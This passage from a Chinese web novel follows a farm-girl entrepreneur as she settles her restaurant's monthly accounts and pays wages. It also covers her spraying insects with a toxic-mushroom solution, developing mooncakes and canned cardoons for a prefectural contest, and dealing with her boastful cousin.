刘青青和她说了打算上架烤鸭、菊蓟,让她再研究研究菜式、佐料,做到味道更上一层楼。 刘慧兰点头称是:“菌子卖了这么久,顾客们有点吃腻了,这两日明显感觉客流量变小,是应该上新菜,晚上我同你们一起回村。” 已经七月三十,该结账,发工资了呢。 刘青青不喜欢用毛笔,她手上没劲,写出来的字软趴趴的,自己做了几只鹅毛笔。 前些日子,她命棉花把大白鹅按住,无视大白鹅的哀嚎,从大白鹅身上,挑选出最长最硬的羽毛扯下来,然后将羽毛埋在砂石中加 热,羽毛杆中间的磷质,就能用针挑掉成空管。 尖端斜着切一个开口,修剪成钢笔头的模样。 刮掉羽毛后,用一根筷子绑起来,握笔手感好了很多,像末世用的签字笔,唯一缺点就是,写五个字就要蘸一次墨水。 用着自制的硬笔,刘青青左右张望了一眼,大家都在忙自己的事情,她飞快的用数字进行运算。 上月余额871两,蚂蚱粉存货已经卖完,150两,合计921两。 卖菌子收入,南安寺合计1100两。 青华楼二楼每日都能坐满,六个包间早晚十二桌,日消费在40两。 一楼便餐,换座快,每日客流量在1000人,约摸12两,虽然销售额低,但客人喜欢结账的时候,顺便在柜台上,买两罐菌子酱,或者干菌子带走窜门送亲戚,销售额在30两左右。 流水每日约摸82两,合计1066两,共收入3087两。 但这个月支出特别大,购买酒楼880两,盖炸房烤房库房,装修酒楼,添置厨具餐具等200两,每天都要把菌子运到城里,再从小叔家把油拉回去,租借马车40两,收购菌子3万6千公斤,合计680两,油钱200两,佐料100两,米菜肉100两,竹筒钱40两。 工钱刘有山,刘有江,刘鑫,刘慧兰,阿喜,大春,郭守云算是主管,每人5两,三个厨娘每人2两,刘青青自己20两,下面40个员工,青华楼里20人,清水沟村作坊里15人,4名搬运工,青华专卖店江氏1人,共40人,每人800文,合计93两,最后净利润754两。 卖了一个月的菌子,账上银子还没上月的多,今日去掉150两的定金,手里只有604两现银。但是刘青青手里多了一座酒楼。 清水沟村的库房里还存着3万罐菌子酱,5千公斤干菌子,1千公斤干毒菌子,只要把这些都卖出去,便能回笼一大笔资金。 为了鼓励员工,刘青青拿出10两银子,作为奖金,不分级别,每人平均发200文。 先是服务员,每人领800文的工钱,还有200文的奖金红包。 常平县城的伙计薪资普遍在800文,其他的偶尔会发点铺子里的东西作为福利,吃住管一样。 但是青华楼不一样,既管吃又管住,这里就省下一笔开支,还有奖金拿,大家喜滋滋给刘青青道谢。 接下来便是几个主管,刘有江接过银子很是诧异:“这么多!” 刘青青笑笑:“小叔,不多啦,你这一个月和阿爹一起送货搬货,都瘦了一圈呢!” 刘有江算半个入赘,虽然方爷爷明理,小婶方氏做事厚道,但周围的邻居没少闲言碎语说小叔吃软饭,他心里一直憋着一股子气,要赚钱养家。 送货那几日,每日租借马车,泥里来水里去,风雨无阻,自己淋湿了晒红了,都把菌子盖得好好的,一箱箱菌子才能完好无损的送达。 他定定的看了一眼刘青青,郑重道:“阿青,以后有什么累活重活,只管喊我,放心,保证给你办的妥妥帖帖。” 刘青青嗯了一声。 小叔娶了方氏,算是高攀。 他这个人罢,做事踏实细致,最重要的是懂得感恩,上次他能站出来维护她,与张和手下搏斗便是例子,所以能得方氏的青睐。 她也觉得小叔人不错,提拔谁不是提拔呢,干嘛不提拔自己人。 嗯,刘鑫叔和阿爹他们的工钱,等回村子再发。 刘青青叫来刘慧兰:“阿姊,你的工钱要怎么办?” 刘慧兰愕然了一下,吃吃笑道:“你喜欢啥,只管拿去买吧!”吃住都在家里,布料也是青青买的,她什么都不缺。 刘青青就知道她会这样子说,引诱道:“我看大家都买点头花啊,胭脂什么的,你不去买一点么?” 刘慧兰嫌弃的撇撇嘴:“我时时刻刻在厨房,烟熏火燎的,带头花作甚。”想了想,她接过银子:“算了,我还是买点吧。” 她自己不带头花,可以买一点给两个妹妹和阿娘啊。前些日子来二楼吃饭的顾客,有个七八岁的女孩,头上两边的丸子,绑了两个毛茸茸的白球球,雪人一般精致。 她的二妹和幼妹,收拾一下,也能那般精致好看哩。 郭守云不待刘青青去找他,便期期艾艾磨蹭到桌子边,伸出手掌:“阿青,我也有工钱么?” 他眨巴着眼睛,里头有忐忑,期盼。 慢慢有了棱角的脸上胀得红红的,为自己的贪婪羞愧。 这一个月的历练,他不再是那个什么人情世故都不懂的野孩子。人类社会生活辛苦,每一样都要花钱。 刘家能收养他和棉花黑炭,给他吃饱饭已经是莫大的恩情。但是刘家不仅让他顿顿有肉,衣服柔软没补丁,还让他读书。 每月书本笔墨纸砚请老师,要花一大笔银子。 可是,那东西他真的很想要,没钱,人家不卖给他哇。这里的规矩又不像森林里,看上了打一架抢过来,这里的规则是用钱买。 刘青青呵呵一笑:“当然有,诺,这是你的工钱,省着点花,用完了没有咯!”塞了五两银子给他。 赚了银子不买买买,日子还有什么盼头。 领了银子的郭守云,一溜烟跑了,刘青青看着他的背影失笑,狼孩子默不吭声,到随意安排,到现主动争取,越来越不和他们见外了。 郭守云才来的时候,充满了攻击性,住下来后沉默、胆小、乖巧得不像个孩子,总是小心翼翼的讨好所有人,这些都是缺乏安全感的表现。 随着相处日子的变长,他敢表达自己的需求,这是一个大大的进步。 刘青青小心的呵护这一份进步。 她希望郭守云像翠翠一样,勇敢的表达自己的需求,偶尔撒泼犯浑耍赖,这才是一个家庭里被爱孩子的正常表现。 发完钱,刘青青也揣着自己的二十两上了街,她要去置办一身行头,准备去府城转转。 库里堆了那么多的菌子酱和干菌子,县里差不多已经饱和。干菌子放半年没有问题,但菌子酱最多放两个月。 若卖不完,只能扔掉,那些可全是钱啊。 晚间各自归家,刘青青和刘慧兰共骑着大妞,郭守云骑着二妞,从铁匠铺子木匠铺子里取了器械,三人两骑回清水沟村。 回到家,刘满仓在院子里等候多时,焦躁的不停张望。 看见他们大包小包的回来,眼里流出一丝艳羡,热络的帮他们搬东西。只要跟着刘家勤劳肯干,自己将来也可以要什么买什么。 他把二妞背上黑乎乎的箱子抱下来,充满了希冀:“这个可以逮虫子么?叫什么?” 刘青青笑笑解释:“哦,是给庄稼打药的器械,叫喷雾器。” 她兴冲冲把所有东西铺在地上,将零散的铁质器械,木头配件三下两下组装在一起,成了一个有手柄有长管子的箱子。 换上旧衣,戴好口罩手套,让他们退后,刘青青把兑好的蘑菇水倒在箱子中,将细长的管子对着葡萄架,咯吱咯吱按压木手柄。 刷刷刷,从另一边细小的管子口里,喷出了水雾,均匀的洒在每一片葡萄叶子和葡萄串上。 过了一刻钟,断断续续有小虫子从葡萄架上掉下来,在地上挣扎两下,一命呜呼。 刘满仓眼底闪过惊骇,后怕的退了两步,适才心中还嘀咕阿青姑娘娇贵,喷点水还要换衣带口罩手套,原来这个喷雾器这么厉害! 他颤抖着嘴唇问:“虫子都被打死了,那葡萄还能吃 么?”人吃了葡萄,会不会被药死。【你现在阅读的是 】 70-80 第71章 第71章末世的历史 刘青青轻描淡写:“哦,现在吃,下场肯定和虫子大同小异。不过,葡萄还不熟,我们为什么要现在吃葡萄。” “只要使用这药水十天后,毒素被太阳雨水分解,就无碍了!” 鹅膏菌是真菌,来源于自然,让它们被雨水洗刷,太阳挥发,回归自然分解,是最好的归宿。 每一个物种都有存在的意义。 末世的时候,科技高度发展,能从鹅膏菌中提炼出毒素合成药物,用于定向阻断细胞RNA的转录,与基因技术配合,有效控制肿瘤细胞的生长。 这种毒素易容与水,只要下一场雨,生几场露水,便可分解消散。 当然,现在和他们解释基因点,RNA这些过于天方夜谭,她干脆不说。 农业发展的两大难题,第一个是肥料。 大多数庄稼,不能直接吸收空气中的氮,产量低下,就像人吃不饱饭,所以营养不良长不壮一样。 每次开荒,她先种黄豆,是因为黄豆根部的根瘤菌,吸收空气中的分子态氮,并活化成铵态氮,为黄豆提供合成蛋白质,黄豆的生长过程,间接提高了土地的含氮量。 收获了黄豆后的植株,含有大量固态氮,烧成草木灰能提高土地的肥力。有经验的老把式套种土地,就是发现了其中的奥秘。 第二个难题便是病虫害。 人会生病,庄稼也会生病。 科技快速发展,人类大量运用化工合成药物,对庄稼各种病虫害有效控制,提高了粮食的产量,出发点是好的。 但为了追求经济效益,过分无节制的运用化工药物,导致自然界中细菌病毒产生了变异,长此以往,最终进化出污染所有生物的超级病毒,从此打开了地狱的大门,各种生物被感染变异,充满了暴虐攻击,就连路边的朴实无害的小树,也会突然暴起,将无数的枝条,插进路人的身体,抽走全身的血液。鸟儿长出了可以撕裂钢铁的利爪,鱼儿变异出轻易割裂战舰的锋鳍…… 人类走到末世,苟延残喘。 幼时在基地中心上学,上课的老师每每痛心疾首,痛惜远古人类生存的艰辛,痛斥几百年前近古人类的妄为,有着天然的药物不用,非要自己胡乱合成,不仅合成,还无节制乱用,遗祸后代,让子孙辈辈如风中残烛,缩在乌龟壳一般的基地中,不能仰望天空,不能面向大海。 这一段记忆灰暗绝望,刘青青甩甩头,将这些阴郁扫出脑海。 不会的,她发誓,人类一定不会走上原来的老路。 她郑重道:“满仓叔,我要建立一个青华护苗队,你愿意担任小队长么?专门负责喷洒药物,给庄稼杀虫。” 她要把这项技术牢牢掌握在手中,谁都别想染指。 刘满仓还杵在懵逼中,随之而来,便是巨大的惊喜。什么时候,杀灭害虫只用这样轻轻一喷就能做到,忙不迭点头:“我愿意我愿意!” 迟钝如他,能感受到这一举措,能帮助乡亲们从害虫嘴里,救下多少粮食。能有多少个人,不再因为饿肚子而倒下。 刘青青让他回去准备准备,明儿一早来,背着喷雾器去棉花田里打药,着重强调,必须穿一套旧的衣服,还要裹头巾,戴口罩,戴手套。 因为这一项劳作高危,薪水另算,完成一亩田地10文。 刘满仓心更热了些,刘有山家实在厚道,明面上,工钱和其他家的差不多,但总有各种各样的补贴。 送走刘满仓,黄勇肩膀上扛着一只麻袋进了门,不好意思的搓搓手:“家里没什么拿得出手的,昨日见你们喜欢这个,给你们又带了一袋子来,是喂牲口么?随便喂,我们那还多得很,只管去我家拉!” 他有些羞愧,毕竟昨日刘青青去他们家,带了半袋子小米,他空着手上门着实不好,可家里什么都没有,只好把菊蓟扛了一袋子,比空手上门好一点罢。 巴拉巴拉说完,发现刘家院子里气氛有些不对,转眼看见葡萄架下满地的虫子,吓了一大跳:“哟,你们家葡萄大,招的虫子也多哈!” “不过,你们是怎么把虫子全部逮到弄死的?”他想学。 只要是农村人,没有人不痛恨害虫,糟蹋庄稼,让粮食减产,甚至颗粒无收,害虫活该千刀万剐、挫骨扬灰,干得好! 大家都不吭声,还杵在死了一地虫子的惊吓中,但被黄勇一打诨,突然想起,自己怕个什么,惋惜什么? 惋惜害虫没死干净? 刘青青这一举措把害虫杀灭了,粮食增产,不香么,他们竟然在这里为死了这么多虫子震惊。 刘有山给了刘青青一个你真棒的大拇指。 心知这一项举措暂时不能大肆宣传,以免引起各方的觊觎。 把黄勇拉到堂屋里:“黄兄弟,你来便来了,还带东西来,你真是太见外了,必须罚酒一杯……” 刘慧兰羡慕的看着刘青青:“你脑袋是怎么长的,总有那么多的主意!”竟然把大家视为垃圾,恨不得铲除得一干二净的毒菌子,变成药来除灭害虫。 算了,比脑瓜子灵活,她拍马也赶不及二妹,老老实实磨自己的厨艺罢:“快来教我,菊蓟要怎么做?” 刘青青见大家不怕她,而是惊叹,轻轻舒了口气,她原本还担心,家人们会不会觉得她太狠毒,现在不怕了。 郭守云默默扫干净院子,想了想,弄了个篱笆把葡萄藤围起来,棉花黑炭淘气,已经盯着葡萄流了好几天的口水,万一来偷吃,他打了个冷噤。 他必须得防着。青青说了,得过十天后,毒素才能清除。 比起其他家的葡萄,刘家的葡萄长得又大又圆,别人家的葡挞只有豆子大,刘家的葡萄大小如雀卵,颜色晶莹碧绿,一个挤着一个,别提有多喜人。 但也特别招虫子,那些害虫很可恶,捡着最大最甜那颗葡萄,打个洞钻进去吃喝拉撒,葡萄水一流,整窜葡萄都坏掉。 他眼睛是刘家最好的,顺着一串串葡萄找虫眼是他的活计,找到后用剪刀把那一颗减掉,拿去喂鸭子,鸭子们能抢得打架,可是看出葡萄的美味。 今日刘青青一次性解决了他的烦恼,真是,太爽快了。 苏氏知道他们要回来,已经炖好了清汤线鸡。 准确来说是白水线鸡,苏氏做菜的宗旨是原汁原味,要保持鸡汤最纯正的味道,所以连一块去腥的黄姜都没放,刘慧兰尝了尝,嗯,暗黄色的汤汁有点浑浊,除了鸡肉的清香,不可避免的带了一点腥味。 她撇掉表面飘着的浮沫,捞起鸡肉,捡出鸡胸肉剁碎放进锅里熬煮,洒下四颗大葱,一把姜片,两个草果,一只八、角,煮了约摸半刻钟后,连汤带肉用纱布过滤,滤出的汤变得清澈透亮,杂质都被吸附在鸡胸肉上。 刘慧兰把过滤后的鸡汤倒回肉里,一起放入砂锅在小炉子上炖煮,加上一把黄姜,等金黄的汤汁不停翻滚,冒出浓浓香气,再加入一盆剥好的菊蓟芯。 锅里蒸了米饭,刘慧兰寻了个大盘子,剥开菊蓟外面的老花瓣,横切一刀,将菊蓟一个个摆好在盘子里,放到甑子里蒸。 蒸的功夫,她重新剥了四个菊蓟芯,洗干净切得细细的,敲了十个鸡蛋,加了一点水,和盐、面粉。用筷子飞速的打匀,把切得碎碎的菊蓟芯倒在鸡蛋面液里搅拌均匀,待锅里的甑子冒气,端起甑子,洗锅下油,先炸了一盆花生米,再煎鸡蛋饼。 等锅热的空时,她把黄姜葱白切得细细的,淋上盐巴蒜泥酱油茱萸油花椒油,成了一碗辛辣刺激的凉菜。 烧火的刘青青看着行云流水的阿姊,感叹她当了几日大厨,厨艺上越发得心应手。 晚饭是在黄勇的怀疑人生中度过的,鸡汤里嫩绿回甘的菜芯,盘子里盛开如莲花一般的甜菜,又甜又香的鸡蛋饼,真是是他带 来的鸭子都嫌弃的拳头花做的么? 不对,一定是因为他们家缺线鸡,缺鸡蛋,缺面粉,最重要的,缺刘慧兰一样的灵巧女儿。 毕竟,他们家也有大葱,但自己婆娘却做不出像刘家这样,辛辣香甜又下饭的葱白丝。 接下来刘青青说的话,让他感觉被馅饼砸中,总怀疑自己在做梦,忍不住在大腿上掐了好几下。 “黄叔,我们家要收购你们村的菊蓟,对了,就是你说的拳头花!一文一公斤!” “要求每日都是现割下来的,你只管收,每收割一百公斤,给你一文的酬劳!从明天开始,每天收购一千公斤,等过几日,我们作坊改建好,再放开收购。” “还有,我们还要买你们村的鸭子,四月龄中上三公斤的。 你们村的鸭子普遍太瘦,我建议从我们村买木薯渣喂养。你帮我问问,若愿意的改喂木薯渣的农户,我可以帮忙牵线。 四月龄上了三公斤的活鸭,有多少,我要多少!” 黄勇感动得几乎要落泪,拉着刘有山的手:“山子哥,我知道你们家厚道,我日子过得艰辛,但你们真的不用这样,这样照顾我,我实在承认不住。” 一公斤菊蓟一文钱,那不是送钱补贴他们吗,要知道,菊蓟很压秤,五六个就有一公斤,随便一麻袋就有五六十公斤! 他一天能砍三四麻袋,接近200公斤,就是200文,他去城里扛麻袋,累得半死,只能赚到50文一天,还有无数的壮汉排队等着干,不一定排到他。 刘家不是补贴他是什么? 第72章 第72章玉兔月饼 经过刘有山的再三保证,黄勇才相信,刘家不是补贴他,是认真的做生意。 他高一脚低一脚回了黄泥塘村,寻了村子里几个相熟的人家,约定明日一早去砍拳头花,不,是菊蓟花。 到现在他还不敢相信,竟然有人出钱买,这些满山遍野的拳头花。 还有他们村子的鸭子,不用再辛辛苦苦养一年,仅用四个月就可以出栏,无形中降低了他们养殖风险。 他暗暗下决心,一定要把刘青青交代的事办好,摸黑一家一家去统计四月龄满三公斤重的鸭子。 月牙爬上了枝头,刘家一家洗漱完坐在一起说话,刘青青终于有机会把工钱给阿爹。 刘有山接过银子,还没捂热乎便捧到苏氏的面前,眉梢都是得意:“给,娘子,想买啥尽管买去!” 苏氏白了他一眼,嫌弃的收下,随意的放在床头柜的抽屉里。 刘青青哑然失笑,曾经一文钱都要藏在墙缝里的苏氏,现在根本不把五两银看在眼里。 刘慧兰从房里拿出包袱皮,一层一层揭开,露出两只木盒,打开大木盒捧出三只银手镯,笑盈盈道:“阿娘,我给你们买了镯头,听说戴银器能百邪不侵,你们一人一只。” 她原本打算买头花的,但随便一朵绒布做的头花竟要半两银子,觉得不划算,干脆买了镯子,阿娘阿青,还有翠翠,每人一个,大气又吉利。 主要是她看见城里人无论年长年幼,都戴着一个,据说可以辟邪。 苏氏惊喜的接过,因是死扣的,用了一点力气才带进去,银白色的镯子上纹着富贵宝相花,配着她养得白润的手,相映得彰,忍不住眼角泛红:“我也像城里那些夫人,有首饰了呢!” 说着便想把镯头退下来,满屋子乱转:“我寻个隐蔽的角落把镯头埋起来。”可是刘家现在全是石板地,根本没地方让她挖洞。 刘有山按住她:“戴着罢,好看!以后,我给你买,不仅镯头,还有头面,买金的,买它个十公斤,打一顶帽子戴着头上,保证你比皇宫里的皇后还耀眼!” 刘有山放开来吹水,这才是生活,充满了盼头。 翠翠的是一对长命百岁吊坠童镯,喜得手舞足蹈,戴在手腕上嘀哩嘀哩摇晃个不停,在棉花黑炭面前显摆。 黑炭扬了扬脖子,露出更加闪亮的项圈,好像在说,我的比你大。翠翠瞬间卡壳,憋着嘴就要嚎。 刘青青的是一只狗头镜面镯头,正好对应她的属相。 刘慧兰柔声道:“阿爹,阿云,你们也有。” 刘有山接过小木盒打开一看,一大一小两只平安富贵锁。他嘿嘿一笑,立马带着脖颈上:“没戴你阿奶准备的锁,戴上了闺女准备的,所以啊,福气不会跑掉,只是晚些年来!” 郭守云握着锁受宠若惊,他也有么?不安的看向刘青青。 刘青青从他手中取过银锁帮他戴在脖子上,藏着衣领里,拍了拍他的肩膀:“戴着罢,阿姊的一片心意。” 银锁寓意美好,一般是大家长为孩子们准备。 刘家之前没分家,银锁按道理应该是做阿爷阿奶准备给孙子孙女,大房几个男娃都有,女娃一个都没有。 刘有山讥笑:“那日我进城送货,看见你阿奶阿爷淋着雨,在街上摆摊卖菜,好心问问她是不是遇到了难题,她却骂我多管闲事,见不得她好。 她已经是地地道道的城里人,在县城安了家,我一个乡下人,不要和她说话埋汰她。” “后来我一打听,刘宝柱刘巧儿从秦家那里弄了一笔银子,在书院旁置办了一座一进带铺面的小院,开了个杂货铺,将你阿奶阿爷打发出门卖菜,你大伯母大伯父守在杂货铺中,两个弟弟当伙计,自己穿得人模狗样,换着酒楼以诗会友,寻欢作乐!” 苏氏听得皱眉:“他难道不读书了么?” 刘有山道:“都有钱了,还读啥书。”他最后总结:“所以,还是我们女儿贴心,这样的儿子就是个叉烧。” “算了,我们不说他们!” 他扭身对刘慧兰道:“闺女,明儿我就让你娘把那五两银子融了,给你打个最大的,亮闪闪带着手上!你爹我现在有钱了。” 这几个每一样差不多要一两银子,刘慧兰总共五两工钱,应该全部用完了吧。 有了好东西,第一个想到的是家人,不是自己。这样的好闺女,他刘有山念了几辈子的佛才得的。 刘慧兰笑笑:“我天天卷着袖子在厨房里,戴这些几天就弄得旧巴巴的,不如不戴。” 刘青青嗯了一声,琢磨着给她寻个其他的。捧出布料,交给苏氏:“阿娘,我今儿买了些上好的布料,我们全家每人做一身!还有剩的,给阿姐再做一身,厨房烟油大,她衣服洗得重,旧得快。” 苏氏迎着烛光看着泛着柔光的布料,有些心疼:“这是丝光锦,不便宜,你弄这么好的布料来,不是浪费么!” 刘青青笑笑:“这是一般的,还有更贵的,我没舍得买。这代表着青华楼的脸面,这钱不能省。” 苏氏不舍的摸着布料:“我日日在村子里,我便不做了,你们多做两身。” “别啊,娘子,你不做,我也不做!” 夫妻两又开始腻歪,刘青青木着脸喊道:“娘,过些日子要去城里吃酒席,我们都打扮得光鲜亮丽的,你一个人灰扑扑的,人家不得骂死阿爹啊,做吧,家里不缺这点银子。” 丝光锦确实漂亮,又柔软,苏氏爱不释手:“行,我先把你们的做出来!”她做出来,逢年过节的时候拿出来美一美。 刘青青让他们先歇着,郭守云打着灯笼陪她去给阿喜大春和刘鑫送工钱。 天上的星星一闪一闪,到处黑乎乎的,远处稻田里传来一阵阵的蛙叫声,夜风沙沙的吹过树梢,棉花和黑炭跑得没影了,她扯着郭守云说话:“阿云,你今儿买什么了?” 郭守云愣了一下:“我,我的还没做好,等过几日给你看。” 刘青青挑眉看了他半响,少年像浇了化肥一样,比她高了半个头,眼底如墨,有了秘密了呢。 & 黄勇送来了一千公斤带着露水的菊蓟,全家一起上阵剥壳。 菊蓟味道鲜美,可食用的部分较小,每个菊蓟几乎要摘掉三分之二的老花瓣,剩下的才可以食用。 剥出来的菊蓟芯会快速的氧化,变成丑巴巴的棕黑色,口感没有变化,样子着实不好看。 而从植株上割下来的菊蓟放置三四天后,口感下降得厉害,老得味同嚼草。 所以,运输和保存是个难题。 有没有什么方法,让菊蓟像菌子那样,可以方便长途运输,又能保持口感的美味。刘慧兰在刘青青不经 意的提醒下,试验出了菊蓟罐头。 菊蓟剥芯后,切成四瓣,加适量的盐放在沸水中炖煮半盏茶,直接连汤装在蒸过干燥竹罐中密封起来。 吃的时候,打开盖子把菊蓟倒出来清水漂洗,或炖或煮或炒,仍旧软嫩入口,香甜回甘。比起新鲜的菊蓟来说,味道没那么甘甜,但是已经把味道保留了八分。 这样作出来的罐头,能长途运输,不仅县城,府城也能吃到青华楼的菊蓟。 是的,刘青青准备动身去府城。 仓库里的菌子全靠高温油炸加竹罐密封,没有添加任何防腐剂,放置三个月必然变质。府城里每年八月初九举办月饼大赛,她要去看一看,能不能借机销售一些菌子和菊蓟罐头。 县城这塘子太小,她已经准备向府城进发。 为了参赛,设计了三种口味的月饼。 甜款:豆沙松子荞月饼。 咸款:玉兔献月水晶月饼和火腿鸡枞千层酥月饼。 豆沙松子荞皮月饼,采用常平县特有的甜荞面来做皮,红棕色的荞面,不用放糖,烤出来有一股天然的香气,自带淡淡的甘甜,口感细腻,软和适中。 红豆用厚铁锅,盖子上压石头,煮得起沙后放入纱布敲打成泥,放入冰糖,桂花粉等小火熬煮,熬干水分成为淡黑色的糊状,拌入剥了壳的新鲜松子。 包的时候,和好的荞面里放入调好的松子豆沙馅,塞进模具中压平定型,进铁皮烤炉中烤制。 放凉的月饼,口味甜蜜,带着若有若无的桂花香气,里头隐藏的每一颗松子脆嫩可口,很让人惊艳。 玉兔献月水晶月饼,和粽子一样,木薯面加糖蒸熟冷却后,放入磨具底层,第二层放入蒸熟的整个咸鸭蛋黄,松茸菌雕刻而成的兔子,菊蓟芯,头上按压一层木薯面,模具压制后,放入冰窖冷藏。 口味咸甜适中,冰凉弹牙,回甘无穷。若味道让人眼前一亮的话,那颜值对其他月饼就是降维打击。 其他月饼还在表皮做功夫,玉兔月饼不仅表面有花纹,连里头芯子都是一副画:菊蓟盛开如莲,地下一只白玉兔昂首对着天空的淡黄圆月,捧掌而拜,多么的诗情画意。 相信一定能让那些文人书生大肆追捧。 相比较而言,火腿酥皮月饼就普通多了,火腿去皮洗净剁细后蒸熟,与鸡枞菌,糖盐拌匀作馅,刘青青在皮上花了大心思:皮不是普通月饼的一层皮,而是薄薄的二十六层酥皮。 面粉用新鲜的猪油和好后,再擀得薄薄的,中间撒上一层熟粉,再一层一层卷起来包火腿馅料,捏成一个半球形状,最上面刷一层蛋黄液,撒上芝麻,放在铁皮烤炉中去烤。 出炉的鸡枞火腿月饼,胖嘟嘟圆头圆脑,色泽焦黄,口味咸香入味,酥脆美味。 刘慧兰和刘青青埋头在厨房里研究了三天,用掉了好几袋子原料,才调配出最满意的口感。 八月初五这一天,刘青青提着新鲜出炉的三盒月饼,进了县衙,这次去府城,她打算请史居正带着她去,府城不同县城,没点人脉关系,她连参赛的资格都没有。 青华楼里,温大人的夫人杨雪眉也有股份呢,要合理把每一位股东用起来。 第73章 第73章让你装逼 温如初亲自接待了刘青青,他不高兴的看着她:“你瞒得我好苦!” 咦,这语气活像丈夫出轨的怨妇。 刘青青吓得缩了缩脖子,温大人吃错药了吧。难道埋怨她没第一时间把月饼送来? 她立马把月饼盒子往前推了推,小心翼翼陪笑:“之前做的月饼有瑕疵,这是第一炉,还热乎着呢,立马给大人送过来了。” 温大人瞪眼:“你还装,我说的是打虫子!” 他是贪吃的人么,月饼有什么好吃的,年年就是那几个花样,五仁、莲蓉、火腿、他都吃腻了。 “这样一项利民的大事,你做甚藏着掖着,要不是听赵垚说起,竟然不知道!” 这事啊,刘青青摸摸鼻子。 有了喷雾器,刘满仓充满干劲,每日能打二十亩地的药水。 打过药水的棉花地,虫子几乎绝迹,刘青青干脆让他把稻田顺便除了一次虫,效果相当显著。稻穗空壳的更少,沉甸甸的弯下了腰。 村民们都盯着田地呢,眼神雪亮,上刘家门要求购买药水借用喷雾器,刘有山按照事先的约定,推到衙门头上,说从衙门里寻的门路,弄来的药水。 村民无奈离开,恰好赵垚去清水沟村看望姐姐,被许多村民堵着苦苦哀求,他没多想,以为是衙门里弄的,回来找史居正顺嘴一问,史居正琢磨一二,便猜测是刘家又发现了新玩意。 刘青青点明敝帚自珍的原因:“大人,我们之前收购菌子,从中分拣出许多毒蘑菇,本来打算集中销毁,刚好棉花地长了虫子,我顺手泡了点水去洒,不料除虫效果还挺好。 怕村民们买回去不会用,药到自己,所以才推到衙门的头上,还请大人见谅。” “行了,你把这个药水卖给衙门,由衙门统一卖给各地乡镇,为百姓们除虫,增加了粮食产量,功德无量。” 刘青青摇头:“大人,不妥,这药水使用,慎之又慎,一不小心会出大问题。而且必须配备喷雾器,喷雾器用精铁打造,平均一个要十两,没几家农户买得起。” “衙门对接要打药的农户,我家组织人手上门打药,完全不经过农户的手,不存在安全隐患,也免得农户花费重金购买喷雾器。” 温如初被她提醒,反应过来后吓得一白毛汗。不过又有些犹豫:“全县那么多农户,你们打得过来么? 你们打算收所少文一亩?”多了不划算,农户不愿意,少了刘家白忙乎。 刘青青拍着胸脯:“我有一只五十人的护苗队,一天可以打虫1000亩。” “每亩田收50文的打虫费!给我40文就行,人工、打虫药、喷雾器都是钱呢。”剩下10文给衙门。 她算过,一亩稻田亩产三百公斤,打虫后估计能增产到四百公斤,100公斤稻谷得大米60公斤,合计360文,她收五十文,真的不算多。 温如初在此地扎根两年,对这些很熟稔,心中一算便晓得她这个,只是赚点辛苦钱,点头同意。 为了有信服力,温如初开了个条子,盖上县衙的大印。 任命刘有山为常平县护苗队队长,有正式公文,也就是说,刘有山成了县衙里的一名名誉公务员,虽然薪水自负,但名头很唬人。 谈完正事,刘青青道明来意。 温如初想了想道:“史先生要在县里,到各乡镇勾兑打虫的事,不如你们跟随内子同去,舅兄在府城,正好同路。” “八月初八天明在码头上坐船,你要带些什么,只管回去收拾。” 这一趟果然没有白来。 刘青青和郭守云回到青华楼,恰好是饭时。 冤家路窄,进了大门,遇到了好久不见的刘宝柱。 刘宝柱头发如墨,气色红润,穿着最新款的交织绫长衫,风度翩翩,人模狗样如同富贵人家的公子。 同十多个学子谈笑风生欲上楼。 看见刘青青,他瞬间一愣,上下打量了两人一眼,见他们穿着普通的棉麻衣裳,眼底闪过一丝嫌弃。 脸上带了亲切的笑:“阿青妹妹,你们也来这里吃饭么?” 他大方的对身边的伙计道:“给他们来两份盖浇饭,我来付钱!”从荷包里掏出一把铜板塞到伙 计手中。 一旁的伙计张了张嘴,想解释这是我们东家,见刘青青笑盈盈的,他张嘴要出的话拐了个弯,闷声闷气嗯了一声,缩到一边安静看戏。 旁边同来的几个同窗不愿意了:“砥中兄果然宽宏大量,人品高上!” “以德报怨,何以报德?” “这一家子贪得无厌,作甚给他们好脸色!” “仗势欺人,凌虐长辈兄长,害得砥中兄无处可住,差点中断学业,这样的人,也敢出来丢人现眼,真是天道不公!” “不过,叫有些小人失望了,砥中兄有经济之才,开了杂货铺子,日进斗金!” “有些人哪,还在泥地里淘食,饥一顿饱一顿,真是大快人心。” …… 郭守云眼里闪过茫然,砥中是谁? 仗势欺人,他们仗着谁的势?瘸腿的刘有山,还是年幼的刘青青。 刘宝柱经济之才?谁,刘宝柱么?哦,他把卖妹妹赚的钱,吹嘘成开杂货铺子赚的,真够不要脸。 砥中,中流砥柱,真会给自己脸上贴金。 既然他把自己塑造成宽宏大量的人设,她今日便满足他那可怜的自尊心。 刘青青可怜兮兮道:“堂哥,我,听说他们家二楼新出了香喷喷的烤鸭,你能带我上去吃么?” 同窗们不愿意了:“竟然有这样厚颜无耻的人!” “你吃不起就不要嘴馋!” “古话说得好,贪婪奸馋是一家” …… 刘青青眼巴巴的盯着二楼,脸上全是向往。 你们随便骂,又不会少一块肉。 刘宝柱摆出大度不计前嫌的模样:“各位同窗,不就是一顿饭么,让她满足心愿也是好的,毕竟是我的血脉亲人。” 他手里那么多银子,又不能回村子显摆,颇有锦衣夜行的失落感,今日看见刘青青,大方一次,好让村子里的村民知晓,他刘宝柱现在发达了。 几人上了二楼,刘青青打了个眼色给身边的伙计,伙计一个激灵,连忙颠颠跑上前。 领着他们进了最大最豪华的包间,伙计开始巴拉巴拉推销:“我们家的全菌宴在整个府城都出名,鲜嫩美味,再过几天菌子下市吃不到了,得等到明年,来一套?” 嗯,青华楼最出名的菌子,必须来。 “新出款的烤鸭全套,香得能吞掉舌头,和上京一样,用薄如蝉翼的荷叶饼裹起来,别有一番滋味,或者直接大口大口撕着蘸酱吃,如同戏台上的侠士,风流不拘。” 听到和上京的吃法一样,几个学子大感兴趣,必须来。 “还有滋阴补阳的菊蓟套餐,如莲花盛开,如诗如画,像春天一样美好。” 像春天一样美好,吹得罢,弄一套上来看看。 伙计把平时的推销词叭叭叭拿出来,一不小心,便上了满满一桌子菜。 红的烤鸭,绿的菊蓟,雪白金黄的菌子,五颜六色摆了一桌子,果然色香味俱全,让人食指大动。 伙计悄悄瞄着刘青青的脸色,见她盯着杯子点了一下头,伙计一拍脑袋,压低声音道:“我们还有一样好东西,你们要不要?” 众人被他这幅偷偷摸摸的架势吓到,也吊起了胃口:“什么?” 